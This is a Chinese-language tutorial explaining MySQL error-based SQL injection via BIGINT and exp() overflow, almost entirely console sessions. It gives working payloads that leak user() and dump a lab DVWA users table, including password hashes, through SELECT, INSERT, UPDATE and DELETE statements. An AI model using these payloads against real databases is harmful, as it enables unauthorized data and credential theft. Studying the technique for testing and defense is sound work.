【SQL注入】整形溢出报错注入原理

Mysql测试版本如下:

mysql> select @@version;
+------------+
| @@version  |
+------------+
| 5.5.40-log |
+------------+
1 row in set (0.00 sec)
mysql> select exp(~(select * from (select @@version)x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select '5.5.40-log' from dual)))'

该报错注入的适用版本为>=5.5.5,在之前的版本中整形溢出是不会报错的,如下所示:

mysql> select @@version;
+------------+
| @@version  |
+------------+
| 5.1.73-log |
+------------+
1 row in set (0.00 sec)
mysql> select exp(~(select * from (select @@version)x));
+-------------------------------------------+
| exp(~(select * from (select @@version)x)) |
+-------------------------------------------+
|                                      NULL |
+-------------------------------------------+

1 row in set (0.00 sec)


首先看下Mysql存储整形的几种类型:

当BIGINT最大值进行增值运算的时候,会爆出BIGINT value is out of range的错误,也就是溢出了。如下所示:

mysql> select 18446744073709551615+1;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(18446744073709551615 + 1)'

Mysql逐位取反的特性,从0逐位取反,得到的数字也正是BIGINT中unsigned的数值范围,这个数值进行数学运算时同样会出现溢出错误。如下所示:

mysql> select ~0;
+----------------------+
| ~0                   |
+----------------------+
| 18446744073709551615 |
+----------------------+
1 row in set (0.00 sec)
mysql> select 1+~0;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(1 + ~(0))'

然后就是利用Mysql子查询的一个特性,当查询结果成功返回时,返回值为0,表达式进行逻辑非运算后,返回值则为1,并且这个返回值也可以进行数学运算。

mysql> create table test (name varchar(50));
Query OK, 0 rows affected (0.03 sec)
mysql> select (select * from test);
+----------------------+
| (select * from test) |
+----------------------+
| NULL                 |
+----------------------+
1 row in set (0.00 sec)
mysql> select !(select * from test);
+-----------------------+
| !(select * from test) |
+-----------------------+
|                  NULL |
+-----------------------+
1 row in set (0.00 sec)
mysql> insert into test values ('hehe');
Query OK, 1 row affected (0.00 sec)
mysql> select !(select * from test);
+-----------------------+
| !(select * from test) |
+-----------------------+
|                     1 |
+-----------------------+
1 row in set (0.00 sec)
mysql>  select !(select * from test)+~0;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select 'hehe' from dual))) + 18446744073709551615)'

获取User():

mysql> select !(select * from (select user())x)+~0;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select 'root@localhost' from dual))) + ~(0))'
mysql> select (select(!x-~0)from(select(select user())x)a);
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not('root@localhost')) - ~(0))'
mysql> select (select!x-~0.from(select(select user())x)a);
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not('root@localhost')) - ~(0))'

同理,利用exp函数也会产生类似的溢出错误:

mysql> select exp(709);
+-----------------------+
| exp(709)              |
+-----------------------+
| 8.218407461554972e307 |
+-----------------------+
1 row in set (0.00 sec)
mysql> select exp(710);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'
mysql> select exp(~(select*from(select user())x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'

既然可以通过BIGINT溢出配合子查询进行报错注入,那么就可以在实战当中获取到更多的数据:

mysql> select !x-~0 from (select (select name from test limit 0,1)x)a;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not('hehe')) - ~(0))'

另外还可以一次获取多条数据,不过报错信息是有长度限制的,在mysql/my_error.c中可以看到:

/* Max length of a error message. Should be
kept in sync with MYSQL_ERRMSG_SIZE. */

#define ERRMSGSIZE (512)

获取多条数据的报错语句如下:

#select:
mysql> select !(select*from(select(concat(@:=0,(select count(*)from`dvwa`.users where @:=concat(@,0xa,user_id,0x2d2d,user,0x2d2d,password)),@)))x)-~0;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select '000
1--admin--5f4dcc3b5aa765d61d8327deb882cf99
2--gordonb--e99a18c428cb38d5f260853678922e03
3--1337--8d3533d75ae2c3966d7e0d4fcc69216b
4--pablo--0d107d09f5bbe40cade3de5c71e9e9b7
5--smithy--5f4dcc3b5aa765d61d8327deb882cf99' from dual))) - ~(0))'

#insert:
mysql> insert into users (user_id,user,password) values (2,'' or !(select*from(select(concat(@:=0,(select count(*)from`dvwa`.users where @:=concat(@,0xa,user_id,0x2d2d,user,0x2d2d,password)),@)))x)-~0 or '', 'Eyre');
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select '000
1--admin--5f4dcc3b5aa765d61d8327deb882cf99
2--gordonb--e99a18c428cb38d5f260853678922e03
3--1337--8d3533d75ae2c3966d7e0d4fcc69216b
4--pablo--0d107d09f5bbe40cade3de5c71e9e9b7
5--smithy--5f4dcc3b5aa765d61d8327deb882cf99' from dual))) - ~(0))'

#update:
mysql> update users set password='root' or !(select*from(select(concat(@:=0,(select count(*)from`dvwa`.users where @:=concat(@,0xa,user_id,0x2d2d,user,0x2d2d,password)),@)))x)-~0;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select '000
1--admin--5f4dcc3b5aa765d61d8327deb882cf99
2--gordonb--e99a18c428cb38d5f260853678922e03
3--1337--8d3533d75ae2c3966d7e0d4fcc69216b
4--pablo--0d107d09f5bbe40cade3de5c71e9e9b7
5--smithy--5f4dcc3b5aa765d61d8327deb882cf99' from dual))) - ~(0))'

#delete:
mysql> delete from users where user_id='1' or !(select*from(select(concat(@:=0,(select count(*)from`dvwa`.users where @:=concat(@,0xa,user_id,0x2d2d,user,0x2d2d,password)),@)))x)-~0;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select '000
1--admin--5f4dcc3b5aa765d61d8327deb882cf99
2--gordonb--e99a18c428cb38d5f260853678922e03
3--1337--8d3533d75ae2c3966d7e0d4fcc69216b
4--pablo--0d107d09f5bbe40cade3de5c71e9e9b7
5--smithy--5f4dcc3b5aa765d61d8327deb882cf99' from dual))) - ~(0))'

参考文章:
http://www.thinkings.org/2015/08/10/bigint-overflow-error-sqli.html
https://xianzhi.aliyun.com/forum/read/762.html